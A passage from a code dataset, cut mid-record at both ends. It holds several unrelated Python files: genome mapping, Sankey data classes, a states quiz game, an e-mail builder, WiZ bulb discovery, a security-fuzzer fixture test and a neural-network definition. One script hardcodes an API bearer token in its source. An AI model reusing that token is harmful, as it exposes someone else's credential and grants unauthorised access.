\"csv\":\n out = csv.writer(sys.stdout)\n out.writerow([\"assembly\", \"valid\", \"invalid\"])\n\n jobs = []\n for assembly in args.assemblies:\n try:\n mapper = Mapper(\n Genome.from_raw_filename(assembly),\n strategy=MinimapMapper(),\n mapping_params=MappingParameters(\n mismatches_allowed=0,\n secondary_mapping_limit=args.max_secondary_alignments,\n sort=False,\n mapping_stage=\"completeness\",\n filetype=MappingOutputType.SAM,\n ),\n context=context,\n )\n\n context.logger.info(f\"Indexing assembly {assembly}...\")\n mapper.build_index()\n\n context.logger.info(f\"Mapping UCEs to assembly...\")\n sam_filename = mapper.map(os.path.abspath(temp_fasta_filename))\n jobs.append((assembly, sam_filename))\n except Exception as e:\n logger.warning(f\"Failed to map genome {assembly} ({e})!\")\n\n process = partial(\n process_job,\n pickled_logger=context.logger.to_pickleable(),\n max_mapping_mismatches=args.max_mapping_mismatches,\n blocks=blocks,\n working_dir=os.curdir,\n )\n\n with multiprocessing.Pool(args.threads) as p:\n for result in p.imap(process, jobs):\n if args.output_format != \"csv\":\n print(\"SYNTENIC BLOCKS\\n==============\")\n print(f\"Aln\\t{result[0]}\")\n print(f\"Valid\\t{result[1]}\")\n print(f\"Invalid\\t{result[2]}\")\n\n os.remove(temp_fasta_filename)\n","repo_name":"slimsuite/deduce","sub_path":"deduce_uces/commands/measure_assembly_contiguity.py","file_name":"measure_assembly_contiguity.py","file_ext":"py","file_size_in_byte":4858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"14505711318","text":"\"\"\"Data structure to represent Sankey diagram data.\n\nAuthor: Rick Lupton\nCreated: 2018-01-15\n\"\"\"\n\nimport json\nimport attr\nfrom collections import defaultdict\n\ntry:\n from ipysankeywidget import SankeyWidget\n from ipywidgets import Layout, Output, VBox\n from IPython.display import display, clear_output\nexcept ImportError:\n SankeyWidget = None\n\n_validate_opt_str = attr.validators.optional(attr.validators.instance_of(str))\n\n\ndef _convert_ordering(layers):\n \"\"\"Wrap nodes in a single band, if none are specified.\"\"\"\n for item in layers:\n if any(isinstance(x, str) for x in item):\n return tuple((tuple(layer_nodes), ) for layer_nodes in layers)\n\n return tuple(tuple(tuple(band_nodes) for band_nodes in layer_bands)\n for layer_bands in layers)\n\n\ndef _validate_direction(instance, attribute, value):\n if value not in 'LR':\n raise ValueError('direction must be L or R')\n\n\n@attr.s(slots=True, frozen=True)\nclass SankeyData(object):\n nodes = attr.ib()\n links = attr.ib()\n groups = attr.ib(default=attr.Factory(list))\n ordering = attr.ib(convert=_convert_ordering, default=[[]])\n dataset = attr.ib(default=None)\n\n def to_json(self):\n \"\"\"Convert data to JSON-ready dictionary.\"\"\"\n data = {\n 'format': {'major': 0, 'minor': 1},\n 'metadata': {\n 'title': 'A Sankey diagram',\n 'authors': [],\n 'layers': self.ordering,\n },\n 'nodes': [n.to_json() for n in self.nodes],\n 'links': [l.to_json() for l in self.links],\n 'groups': self.groups,\n }\n\n return data\n\n\n@attr.s(slots=True, frozen=True)\nclass SankeyNode(object):\n id = attr.ib(validator=attr.validators.instance_of(str))\n title = attr.ib(default=None, validator=_validate_opt_str)\n direction = attr.ib(validator=_validate_direction, default='R')\n hidden = attr.ib(default=False)\n style = attr.ib(default=None, validator=_validate_opt_str)\n\n def to_json(self):\n \"\"\"Convert node to JSON-ready dictionary.\"\"\"\n return {\n 'id': self.id,\n 'title': {\n 'label': self.title if self.title is not None else self.id\n },\n 'style': {\n 'direction': self.direction.lower(),\n 'hidden': self.hidden is True or self.title == '',\n 'type': self.style if self.style is not None else 'default',\n },\n }\n\n\ndef _validate_opacity(instance, attr, value):\n if not isinstance(value, float):\n raise ValueError('opacity must be a number')\n if value < 0 or value > 1:\n raise ValueError('opacity must be between 0 and 1')\n\n\n@attr.s(slots=True, frozen=True)\nclass SankeyLink(object):\n source = attr.ib(validator=attr.validators.instance_of(str))\n target = attr.ib(validator=attr.validators.instance_of(str))\n type = attr.ib(default=None, validator=_validate_opt_str)\n time = attr.ib(default=None, validator=_validate_opt_str)\n value = attr.ib(default=0.0)\n title = attr.ib(default=None, validator=_validate_opt_str)\n color = attr.ib(default=None, validator=_validate_opt_str)\n opacity = attr.ib(default=1.0, convert=float, validator=_validate_opacity)\n original_flows = attr.ib(default=attr.Factory(list))\n\n def to_json(self):\n \"\"\"Convert link to JSON-ready dictionary.\"\"\"\n return {\n 'source': self.source,\n 'target': self.target,\n 'type': self.type or '',\n # 'title': self.title,\n # 'time': self.time,\n 'data': {\n 'value': self.value,\n },\n 'style': {\n 'color': self.color,\n 'opacity': self.opacity,\n }\n }\n","repo_name":"ricklupton/sankeydata","sub_path":"src/sankeydata/sankey_data.py","file_name":"sankey_data.py","file_ext":"py","file_size_in_byte":3800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"23763892301","text":"import turtle\nimport pandas\nfrom writer import Writer\n\n\n# Screen setup\nscreen = turtle.Screen()\nscreen.title(\"States Game\")\nimage = \"blank_states_img.gif\"\nscreen.addshape(image)\n\n# Turtle setup\nturtle.shape(image)\nwriter = Writer()\n\n# Panda data setup\nstate_data = pandas.read_csv(\"50_states.csv\")\n\n\ndef drop_state(state):\n state_data.drop(state_data[state_data['state'] == state].index, inplace=True)\n\n\ngame_is_on = True\nwhile game_is_on:\n # Allows us to provide the number of states left\n correct_guesses = len(state_data)\n\n # User prompt set up\n answer_state = screen.textinput(title=f\"Guess the state! {correct_guesses} states remaining.\", prompt=\"What state would you like to guess?\").title()\n\n # Check if the answer is right\n matching_rows = state_data[state_data['state'] == answer_state]\n if not matching_rows.empty:\n answer_x = state_data.query(f\"state=='{answer_state}'\")[\"x\"].iloc[0]\n answer_y = state_data.query(f\"state=='{answer_state}'\")[\"y\"].iloc[0]\n drop_state(answer_state)\n print(answer_state, answer_x, answer_y)\n writer.add_state_to_map(answer_state, answer_x, answer_y)\n\n if answer_state == 'Exit':\n break\n state_data['state'].to_csv(\"states_to_learn.csv\")\n\nturtle.exitonclick()\n","repo_name":"wright-james-t/100-days-python","sub_path":"Day 25/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"29401758481","text":"import json\nimport datetime\n\ninput_file_name = \"reddit_depression_india_236_posts.json\"\nf = open(input_file_name, 'r', newline='', encoding=\"utf8\")\n\ndata = json.load(f)\n\nmarch_23_2020_epoch = datetime.datetime(2020,3,23,0,0,0).timestamp()\n\nthreshold_index = 0\nfor i, post in enumerate(data):\n if post[\"created\"] < march_23_2020_epoch:\n threshold_index = i\n break\n\n# print(march_23_2020_epoch)\n\ndata_in_lockdown = data[:threshold_index]\ndata_pre_lockdown = data[threshold_index:]\n\nf_in_lockdown = open(f\"in_lockdown_{len(data_in_lockdown)}.json\", 'w')\nf_pre_lockdown = open(f\"pre_lockdown_{len(data_pre_lockdown)}.json\", 'w')\n\njson.dump(data_in_lockdown, f_in_lockdown, ensure_ascii=False)\njson.dump(data_pre_lockdown, f_pre_lockdown, ensure_ascii=False)\n\nf_in_lockdown.close()\nf_pre_lockdown.close()\nf.close()\n\nprint('Dona done done😎')","repo_name":"priyansh24/ResearchProject","sub_path":"separate_data_by_lockdown.py","file_name":"separate_data_by_lockdown.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"29067934863","text":"import os\n\nimport pytest\n\nfrom fuzz_lightyear import discovery\nfrom fuzz_lightyear.supplements.abstraction import get_abstraction\n\n\nclass TestImportFixture:\n\n def test_file(self):\n discovery.import_fixtures(\n get_path('../../test_data/nested/directory/fixtures.py'),\n )\n\n assert get_abstraction().get_victim_session\n assert not get_abstraction().get_attacker_session\n\n @pytest.mark.parametrize(\n 'path',\n (\n '../../test_data/nested/directory',\n '../../test_data/nested/directory/',\n ),\n )\n def test_directory(self, path):\n discovery.import_fixtures(get_path(path))\n\n assert get_abstraction().get_victim_session\n assert not get_abstraction().get_attacker_session\n\n def test_nested_directory(self):\n discovery.import_fixtures(\n get_path('../../test_data/nested'),\n )\n\n assert get_abstraction().get_victim_session\n assert get_abstraction().get_attacker_session\n\n\ndef test_import_module_from_path():\n module = discovery.import_module_from_path(\n get_path('../../test_data/module.py'),\n )\n assert module.this_returns_one() == 1\n\n\ndef get_path(path):\n return os.path.abspath(\n os.path.join(\n os.path.dirname(__file__),\n path,\n ),\n )\n","repo_name":"Yelp/fuzz-lightyear","sub_path":"tests/unit/discovery_test.py","file_name":"discovery_test.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":188,"dataset":"github-code","pt":"71"} +{"seq_id":"73154036071","text":"# -*- coding: utf-8 -*-\r\nimport tkinter as tk\r\nimport os\r\nimport sqlite3\r\nimport json\r\nfrom email import generator\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.application import MIMEApplication\r\nfrom shutil import move\r\nfrom tkinterdnd2 import DND_FILES, TkinterDnD\r\nimport re\r\nfrom PyInstaller.utils.hooks import collect_data_files, eval_statement\r\ndatas = collect_data_files('tkinterdnd2')\r\n\r\n\r\n\r\nclass SelectorPage(tk.Frame):\r\n def __init__(self,parent, controller):\r\n## tk.Frame.__init__(self, parent)\r\n super().__init__(parent)\r\n self.pageName = 'SelectorPage'\r\n self.controller = controller\r\n self.bg = self.controller.configVars['CreateMailColor']\r\n \r\n self.kontaktFrame = tk.Frame(self, bg = self.bg)\r\n self.kontChoices = list(self.controller.kontakts.keys()) \r\n self.kontaktTree = tk.ttk.Treeview(self.kontaktFrame, show='tree', height = 16)\r\n self.kontaktTree.column('#0', width = 250)\r\n self.insertTree()\r\n self.kontaktYScroll = tk.ttk.Scrollbar(self.kontaktFrame, orient=\"vertical\", command= self.kontaktTree.yview)\r\n self.kontaktTree['yscrollcommand'] = self.kontaktYScroll.set\r\n self.kontaktTree.tag_configure('text', background=self.controller.configVars[\"TreeColors\"][\"Text\"])\r\n self.kontaktTree.tag_configure('kontakt', background=self.controller.configVars[\"TreeColors\"][\"Kontakt\"])\r\n self.kontaktTree.tag_bind('text','', lambda e:self.editSelection('TextEditPage'))\r\n self.kontaktTree.tag_bind('kontakt','', lambda e:self.editSelection('ContactEditPage'))\r\n #\r\n self.startBut= tk.Button(self, text = 'Create mail + move files', command = self.mail)\r\n self.drop_target_register(DND_FILES)\r\n \r\n self.files =[]\r\n self.dnd_bind('<>',lambda e: self.cleanFiles(e.data))\r\n self.filePath = {}\r\n self.fileVar = tk.StringVar(value=self.files)\r\n self.fileLBox = tk.Listbox(self, listvariable = self.fileVar,width = 50, height = 20)\r\n self.fileLBox.bind('',lambda e:self.delFile())\r\n self.editFrame = tk.Frame(self, bg = self.bg)\r\n self.editKontaktsBut = tk.Button(self.editFrame, text = 'Edit Contacts', command = lambda: self.editSelection('ContactEditPage'))\r\n self.editTextsBut = tk.Button(self.editFrame, text = 'Edit Texts', command = lambda:self.editSelection('TextEditPage'))\r\n\r\n #\r\n self.kontaktFrame.grid(row=1,column=1, pady = 5, padx = 5 )\r\n self.kontaktYScroll.grid(row = 1, column = 2, sticky = 'ns')\r\n self.kontaktTree.grid(row=1,column=1,sticky = 'ns')\r\n #\r\n self.fileLBox.grid(row=1, column=2, pady = 5,)\r\n #\r\n self.editFrame.grid(row=2, column=1, sticky = 'w', padx =5)\r\n self.editKontaktsBut.grid(row=1, column=1,)\r\n self.editTextsBut.grid(row=1, column=2, padx= 2)\r\n #\r\n self.startBut.grid(row=2, column=2, sticky = 'e')\r\n self.sentMail=0\r\n\r\n def onRaise(self):\r\n self.controller.root.title('Create E-Mail')\r\n self.controller.root.config()\r\n self.controller.root.geometry(self.controller.configVars['CreateMailDimensions'])\r\n self.config(bg = self.bg)\r\n self.insertTree()\r\n \r\n def update(self, *args):\r\n pass \r\n \r\n \r\n def editSelection(self, toPage):\r\n selectedText = None\r\n selectedKontakt = None\r\n selection = self.kontaktTree.focus()\r\n self.controller.setLastFrame(self.pageName)\r\n self.controller.showFrame(toPage)\r\n try:\r\n selectedText = self.controller.texts[int(selection)]\r\n except:\r\n try:\r\n selectedKontakt = self.controller.kontakts[selection]\r\n except:\r\n pass\r\n if selectedKontakt:\r\n self.controller.frames['ContactEditPage'].update(self.controller.kontakts[selection])\r\n if selectedText:\r\n self.controller.frames['TextEditPage'].update(selectedText)\r\n\r\n \r\n\r\n def cleanFiles(self, data):\r\n isolatedSpaces = []\r\n data = data.split('}')\r\n for dat in data:\r\n split = dat.split('{')\r\n isolatedSpaces+=[file for file in split if file != ' ']\r\n for dat in isolatedSpaces:\r\n if dat == '':\r\n continue\r\n if dat[0] == ' ':\r\n dat = dat[1:]\r\n if len(re.findall(':',dat))>1:\r\n dat = dat.split(' ')\r\n self.files += [file for file in dat if file !='']\r\n else:\r\n self.files.append(dat)\r\n self.insertLB()\r\n \r\n \r\n def insertLB(self):\r\n for file in self.files:\r\n fileName = os.path.split(file)[1]\r\n if fileName not in self.filePath.keys():\r\n self.filePath[fileName] = file\r\n self.fileLBox.insert(tk.END, fileName)\r\n \r\n def insertTree(self):\r\n for textId in self.controller.texts:\r\n if str(textId) not in self.kontaktTree.get_children(''):\r\n textMod = self.controller.texts[textId]\r\n self.kontaktTree.insert('', 'end', textId, text = textMod.title ,tags= 'text')\r\n for idNum in self.kontaktTree.get_children():\r\n kontakte = [kontaktMod for title, kontaktMod in self.controller.kontakts.items() if int(kontaktMod.textId) == int(idNum)]\r\n for kontaktMod in kontakte:\r\n if str(kontaktMod.display) not in self.kontaktTree.get_children(idNum):\r\n self.kontaktTree.insert(idNum, 'end', kontaktMod.display, text = kontaktMod.display, tags = 'kontakt')\r\n\r\n def delFile(self):\r\n selectionIndex = self.fileLBox.curselection()\r\n if len(selectionIndex) != 1:\r\n return\r\n selectionName = self.fileLBox.get(selectionIndex)\r\n fileIndex = self.files.index(self.filePath[selectionName])\r\n self.fileLBox.delete(selectionIndex)\r\n self.filePath.pop(selectionName)\r\n self.files.pop(fileIndex)\r\n\r\n def createMail(self, kontakt, files):#name, dest, text,subj, files = None, link = None):\r\n msg = MIMEMultipart()\r\n textMod = self.controller.texts[kontakt.textId]\r\n if len(files)>0:\r\n file = files[0]\r\n else:\r\n file = ''\r\n selectedPerson = kontakt.person\r\n addInfo = kontakt.addInfo\r\n allFiles= ', '.join(files)\r\n link = f'{kontakt.dir}'\r\n subj = textMod.subj.format(**locals())\r\n text = textMod.text.format(**locals())\r\n html = text.replace(r'\\n','
')\r\n \r\n html = f'''
{html}
'''\r\n print(html)\r\n msg['Subject'] = subj\r\n msg['To'] = kontakt.mail\r\n msg['Cc'] = kontakt.cc\r\n msg.add_header('X-Unsent', '1')\r\n part = MIMEText(html, 'html', 'utf-8')\r\n msg.attach(part)\r\n if kontakt.attach:\r\n for fi in files:\r\n with open(self.filePath[fi], 'rb') as f:\r\n## basename= os.path.basename(fi)\r\n part = MIMEApplication(f.read(),Name=fi)\r\n part['Content-Disposition'] = 'attachment; filename=\"%s\"' % fi\r\n msg.attach(part)\r\n \r\n outfile_name = f'NewMail{self.sentMail}.eml'\r\n with open(outfile_name, 'w') as outfile:\r\n gen = generator.Generator(outfile)\r\n gen.flatten(msg)\r\n os.startfile(f'NewMail{self.sentMail}.eml')\r\n self.sentMail +=1\r\n\r\n \r\n## \r\n def mail(self):\r\n selection = self.kontaktTree.focus()\r\n try:\r\n selectedKontakt = self.controller.kontakts[selection]\r\n except:\r\n return\r\n files = [os.path.split(f)[1] for f in self.files]\r\n self.createMail(selectedKontakt, files)\r\n## adress, directory = self.controller.kontakts[selectedPerson]\r\n## directory = directory.replace('\\n','')\r\n \r\n if selectedKontakt.dir:\r\n for file in files:\r\n move(self.filePath[file], f'{selectedKontakt.dir}\\\\{file}')\r\n os.startfile(selectedKontakt.dir)\r\n self.files=[]\r\n self.filePath = {}\r\n self.fileLBox.delete(0, 'end')\r\n \r\n##\r\n","repo_name":"Derschlos/EmailerTkinter","sub_path":"Mail_versender/SelectorPageData.py","file_name":"SelectorPageData.py","file_ext":"py","file_size_in_byte":8778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"12496907998","text":"\"\"\"Discover bulbs in a network.\"\"\"\nimport asyncio\nimport json\nimport logging\nfrom asyncio import AbstractEventLoop, BaseTransport, DatagramTransport, Future\nfrom typing import Any, List, Optional, Tuple, cast\n\nfrom pywizlight import wizlight\nfrom pywizlight.models import BulbRegistry, DiscoveredBulb\nfrom pywizlight.utils import create_udp_broadcast_socket\n\n_LOGGER = logging.getLogger(__name__)\n\nPORT = 38899\nDEFAULT_WAIT_TIME = 5.0\n\n# Note: The IP and address we give the bulb does not matter because\n# we have register set to false which is telling the bulb to remove\n# the registration\nREGISTER_MESSAGE = b'{\"method\":\"registration\",\"params\":{\"phoneMac\":\"AAAAAAAAAAAA\",\"register\":false,\"phoneIp\":\"1.2.3.4\",\"id\":\"1\"}}' # noqa: E501\n\n\nclass BroadcastProtocol(asyncio.DatagramProtocol):\n \"\"\"Protocol that sends an UDP broadcast message for bulb discovery.\"\"\"\n\n def __init__(\n self,\n loop: AbstractEventLoop,\n registry: BulbRegistry,\n broadcast_address: str,\n future: Future,\n ) -> None:\n \"\"\"Init discovery function.\"\"\"\n self.loop = loop\n self.registry = registry\n self.broadcast_address = broadcast_address\n self.transport: Optional[DatagramTransport] = None\n self.future = future\n\n def connection_made(self, transport: BaseTransport) -> None:\n \"\"\"Init connection to socket and register broadcasts.\"\"\"\n self.transport = cast(DatagramTransport, transport)\n self.broadcast_registration()\n\n def broadcast_registration(self) -> None:\n \"\"\"Send a registration method as UDP broadcast.\"\"\"\n if not self.transport:\n return\n self.transport.sendto(REGISTER_MESSAGE, (self.broadcast_address, PORT))\n self.loop.call_later(1, self.broadcast_registration)\n\n def datagram_received(self, data: bytes, addr: Tuple[str, int]) -> None:\n \"\"\"Receive data from broadcast.\"\"\"\n _LOGGER.debug(f\"Received data {data!r} from IP address {addr}\")\n try:\n resp = json.loads(data.decode())\n except json.JSONDecodeError:\n _LOGGER.error(\"%s: Sent invalid message: %s\", addr, data)\n return\n mac = resp.get(\"result\", {}).get(\"mac\")\n if mac:\n _LOGGER.debug(\"Found bulb with IP: %s and MAC: %s\", addr[0], mac)\n self.registry.register(DiscoveredBulb(addr[0], mac))\n\n def connection_lost(self, exc: Any) -> None:\n \"\"\"Return connection error.\"\"\"\n _LOGGER.debug(\"Closing UDP discovery\")\n if exc is None:\n self.future.set_result(None)\n else:\n self.future.set_exception(exc)\n self.transport = None\n\n\nasync def find_wizlights(\n wait_time: float = DEFAULT_WAIT_TIME, broadcast_address: str = \"255.255.255.255\"\n) -> List[DiscoveredBulb]:\n \"\"\"Start discovery and return list of IPs of the bulbs.\"\"\"\n registry = BulbRegistry()\n loop = asyncio.get_event_loop()\n future = loop.create_future()\n transport, protocol = await loop.create_datagram_endpoint(\n lambda: BroadcastProtocol(loop, registry, broadcast_address, future),\n sock=create_udp_broadcast_socket(PORT),\n )\n await asyncio.sleep(wait_time)\n transport.close()\n await future\n bulbs = registry.bulbs()\n for bulb in bulbs:\n _LOGGER.info(f\"Discovered bulb {bulb.ip_address} with MAC {bulb.mac_address}\")\n return bulbs\n\n\nasync def discover_lights(\n broadcast_space: str = \"255.255.255.255\", wait_time: float = DEFAULT_WAIT_TIME\n) -> List[wizlight]:\n \"\"\"Find lights and return list with wizlight objects.\"\"\"\n discovered_IPs = await find_wizlights(\n wait_time=wait_time, broadcast_address=broadcast_space\n )\n return [\n wizlight(ip=entry.ip_address, mac=entry.mac_address) for entry in discovered_IPs\n ]\n","repo_name":"sbidy/pywizlight","sub_path":"pywizlight/discovery.py","file_name":"discovery.py","file_ext":"py","file_size_in_byte":3809,"program_lang":"python","lang":"en","doc_type":"code","stars":375,"dataset":"github-code","pt":"71"} +{"seq_id":"72003798950","text":"import requests, json, cockatoo, re, os, xmltodict, ast\nfrom collections import OrderedDict\nfrom xml.dom.minidom import parseString\nimport pandas as pd\nfrom itertools import combinations_with_replacement, repeat\nimport numpy as np\n\n\"\"\"\nExtract all cocktails from 1536 screen for sample 1055\n\"\"\"\n\nos.environ['XTUITION_TOKEN'] = '9d89e79c-ed4d-11e5-8042-00270e10b7a7'\nROOT_PATH = \"/projects/academic/esnell/kferger\"\n\ndef within_screen_dist(cocktail_list, names):\n \"\"\"\n Takes a list of all crystal 'hit' cocktails for a single protein from xtuition and calculates the distance between\n them in a pairwise fashion. Outputs a csv matrix of every distance metric for every pair of cocktails in list.\n \"\"\"\n d = [[] for i in repeat(None, len(cocktail_list))]\n for i in range(len(cocktail_list)):\n d[i] = [0] * len(cocktail_list)\n\n for a, b in combinations_with_replacement(cocktail_list, 2): # pairwise distance combinations\n\n score = cockatoo.metric.distance(a,b)\n index_a = cocktail_list.index(a)\n index_b = cocktail_list.index(b)\n d[index_a][index_b] = score\n d[index_b][index_a] = score\n\n #for l in d: # making all lists same size by filling 0's (combinations function doesn't output redundant pairs)\n #if len(l) < len(cocktails):\n #len_diff = len(cocktails) - len(l)\n #for i in range(len_diff):\n #l.insert(i, \"NA\")\n\n df = pd.DataFrame(d, index=names, columns=names)\n #df[names] = df[names].replace({0: np.nan, 0: np.nan})\n\n return df\n\n\nbase_uri = 'http://xtuition.ccr.buffalo.edu/api'\nsearch_endpoint = base_uri + '/search'\nauth = {'Authorization': 'Bearer 9d89e79c-ed4d-11e5-8042-00270e10b7a7'}\n\nendpoint = base_uri + '/sample/1055/list'\nr = requests.get(endpoint, headers=auth)\nind = r.json()\n\ncocktails = []\ncocktail_names = []\n\nfor w in ind['wells']: # loop through all wells for this sample and get cocktail information\n cocktail = cockatoo.xtuition.fetch_cocktail(w['cocktail_id'])\n # cocktail = m.json()\n\n cocktails.append(cocktail)\n cocktail_names.append(str(w['name']))\n\n#print(len(cocktails))\n\ncocktail_df = within_screen_dist(cocktails[:1536], cocktail_names[:1536])\ncocktail_df.to_csv(ROOT_PATH + \"/within-screen-dist/1055_whole_screen.csv\", sep=\",\", na_rep=\"NA\", header=True, index=True)\n","repo_name":"kferger/Data-mining-of-multi-hit-crystallization-conditions","sub_path":"1536_dend_filter.py","file_name":"1536_dend_filter.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"73976666149","text":"from numbers import Number\n\nimport networkx as nx\nimport numpy as np\nimport torch.nn.functional as F\nfrom torch import nn, torch\n\nfrom src.interfaces.NetworkBlock import ConvBn, NetworkBlock, Add_Block\nfrom src.networks.StochasticSuperNetwork import StochasticSuperNetwork\nfrom src.utils import loss\nfrom src.utils.drawers.ResCNFDrawer import ResCNFDrawer\n\n\nclass BasicBlock(NetworkBlock):\n n_layers = 2\n n_comp_steps = 1\n\n def __init__(self, in_chan, out_chan, bias, **kwargs):\n super(BasicBlock, self).__init__()\n assert in_chan <= out_chan\n stride = int(out_chan / in_chan)\n self.conv1 = ConvBn(in_chan, out_chan, stride=stride, relu=True, bias=bias)\n self.conv2 = ConvBn(out_chan, out_chan, relu=False, bias=bias)\n\n def forward(self, x):\n x = self.conv1(x)\n return self.conv2(x)\n\n def get_flop_cost(self, x1):\n x2 = self.conv1(x1)\n y = self.conv2(x2)\n\n cost = self.get_conv2d_flops(x1, x2, self.conv1.conv.kernel_size)\n cost += self.get_conv2d_flops(x2, y, self.conv2.conv.kernel_size)\n\n assert cost == self.conv1.get_flop_cost(x1) + self.conv2.get_flop_cost(x2)\n\n return cost\n\n\nclass BottleneckBlock(NetworkBlock):\n n_layers = 3\n n_comp_steps = 1\n\n def __init__(self, input_chan, out_chan, bias, stride=None, use_stride=True, bottleneck_factor=4):\n super(BottleneckBlock, self).__init__()\n assert input_chan <= out_chan\n stride = stride if stride is not None else int(out_chan / input_chan) if use_stride else 1\n inside_chan = int(out_chan / bottleneck_factor)\n self.conv1 = ConvBn(input_chan, inside_chan, k_size=1, stride=stride, padding=0, relu=True, bias=bias)\n self.conv2 = ConvBn(inside_chan, inside_chan, relu=True, bias=bias)\n self.conv3 = ConvBn(inside_chan, out_chan, k_size=1, padding=0, relu=False, bias=bias)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.conv2(x)\n y = self.conv3(x)\n return y\n\n def get_flop_cost(self, x1):\n x2 = self.conv1(x1)\n x3 = self.conv2(x2)\n y = self.conv3(x3)\n\n cost = self.get_conv2d_flops(x1, x2, self.conv1.conv.kernel_size)\n cost += self.get_conv2d_flops(x2, x3, self.conv2.conv.kernel_size)\n cost += self.get_conv2d_flops(x3, y, self.conv3.conv.kernel_size)\n\n assert cost == self.conv1.get_flop_cost(x1) + self.conv2.get_flop_cost(x2) + self.conv3.get_flop_cost(x3)\n\n return cost\n\n\nclass Skip_Block(NetworkBlock):\n def __init__(self, in_chan, out_chan, bias, stride=None, use_stride=True):\n super(Skip_Block, self).__init__()\n assert in_chan <= out_chan\n self.projection = None\n if in_chan != out_chan:\n stride = stride if stride is not None else int(out_chan / in_chan) if use_stride else 1\n self.projection = ConvBn(in_chan, out_chan, relu=False, k_size=1, padding=0, stride=stride, bias=bias)\n # self.projection = ConvBn(in_chan, out_chan, relu=False, stride=stride, bias=bias)\n\n def forward(self, x):\n if self.projection is not None:\n x = self.projection(x)\n return x\n\n def get_flop_cost(self, x):\n if self.projection is None:\n return 0\n else:\n return self.projection.get_flop_cost(x)\n\n @property\n def n_layers(self):\n return 0 if self.projection is None else 1\n\n @property\n def n_comp_steps(self):\n return 0 if self.projection is None else 1\n\n\nclass Out_Layer(NetworkBlock):\n n_layers = 1\n n_comp_steps = 1\n\n def __init__(self, in_chan, out_dim, bias=True):\n super(Out_Layer, self).__init__()\n self.fc = nn.Linear(in_chan, out_dim, bias=bias)\n\n def forward(self, x):\n assert x.size(-1) == 8\n x = F.avg_pool2d(x, x.size(-1))\n x = x.view(x.size(0), -1)\n x = self.fc(x)\n return x\n\n def get_flop_cost(self, x):\n return self.fc.in_features * self.fc.out_features\n\n\nclass ResCNF(StochasticSuperNetwork):\n INPUT_NAME = 'Input'\n OUTPUT_NAME = 'Output'\n CLASSIC_BLOCK_NAME = 'CLASSIC_B{}_N{}'\n SHORTCUT_BLOCK_NAME = 'SHORTCUT_B{}_N{}_{}'\n CLASSIC_SKIP_NAME = 'SKIP_CL_B{}_N{}'\n SHORTCUT_SKIP_NAME = 'SKIP_SH_B{}_N{}_{}'\n ADD_NAME = 'ADD_B{}_N{}'\n IDENT_NAME = 'IDENT_B{}'\n\n def __init__(self, layers, blocks_per_layer, n_channels, shortcuts, shortcuts_res, shift, static_node_proba,\n data_prop, bottlnecks, bn_factor=4, bias=True, *args, **kwargs):\n super(ResCNF, self).__init__(*args, **kwargs)\n assert len(n_channels) == layers and (len(blocks_per_layer) == 1 or len(blocks_per_layer) == layers)\n self.in_chan = data_prop['in_channels']\n self.in_size = data_prop['img_dim']\n self.out_dim = data_prop['out_size'][0]\n self.loss = loss.cross_entropy_sample\n self.static_node_proba = static_node_proba\n\n self._input_size = (self.in_chan, self.in_size, self.in_size)\n\n self.blocks = nn.ModuleList([])\n self.graph = nx.DiGraph()\n self.sampling_parameters = nn.ParameterList()\n\n self.bottleneck = bottlnecks\n if bottlnecks:\n self.block_type = BottleneckBlock\n self.scale_factor = bn_factor\n else:\n self.block_type = BasicBlock\n self.scale_factor = 1\n\n if len(blocks_per_layer) == 1:\n blocks_per_layer = blocks_per_layer * len(n_channels)\n\n in_node = ConvBn(self.in_chan, n_channels[0], relu=True, bias=bias)\n self.add_node([], self.INPUT_NAME, in_node, (0, 0))\n\n last_node = self.add_layer(0, blocks_per_layer[0], n_channels[0], n_channels[0] * self.scale_factor,\n self.INPUT_NAME, False,\n False, shift, bias, stride=False)\n for l in range(1, layers):\n in_chan = n_channels[l - 1] * self.scale_factor\n last_node = self.add_layer(l, blocks_per_layer[l], in_chan, n_channels[l] * self.scale_factor, last_node,\n shortcuts, shortcuts_res,\n shift, bias, stride=True)\n\n out_node = Out_Layer(n_channels[-1] * self.scale_factor, self.out_dim, bias=bias)\n self.add_node([last_node], self.OUTPUT_NAME, out_node, (layers - 1, blocks_per_layer[-1] + 1))\n self.set_graph(self.graph, self.INPUT_NAME, self.OUTPUT_NAME)\n\n def add_layer(self, b, n_blocks, in_chan, out_chan, last_node, shortcuts, sh_res, shift, bias, stride):\n prev_in_chan = in_chan\n for n in range(n_blocks):\n use_stride = stride and n == 0\n if b > 0 and n == 0:\n # Add identity block (only for drawing)\n ident_block = Skip_Block(in_chan, in_chan, bias)\n ident_name = self.IDENT_NAME.format(b)\n self.add_node([last_node], ident_name, ident_block, (b,))\n last_node = ident_name\n # Add basic block\n basic_block = self.block_type(in_chan, out_chan, bias=bias, use_stride=use_stride)\n basic_block_name = self.CLASSIC_BLOCK_NAME.format(b, n)\n self.add_node([last_node], basic_block_name, basic_block, (b, n))\n # Add skip connection\n skip = Skip_Block(in_chan, out_chan, bias, use_stride=use_stride)\n skip_name = self.CLASSIC_SKIP_NAME.format(b, n)\n self.add_node([last_node], skip_name, skip, (b, n))\n\n shortcuts_add_inputs = []\n # Add shortcut:\n if shortcuts or sh_res:\n sh_sources = self.get_shortcut_source_nodes(b, n, n_blocks, shift)\n for i, (sh_in_node, chan_div) in enumerate(sh_sources):\n # sh_in_node, chan_div = self.get_shortcut_source_node(b, n, n_blocks, shift)\n sh_in_chan = int(prev_in_chan / chan_div)\n if sh_in_node == self.INPUT_NAME and self.bottleneck:\n special_stride = 2\n else:\n special_stride = None\n if 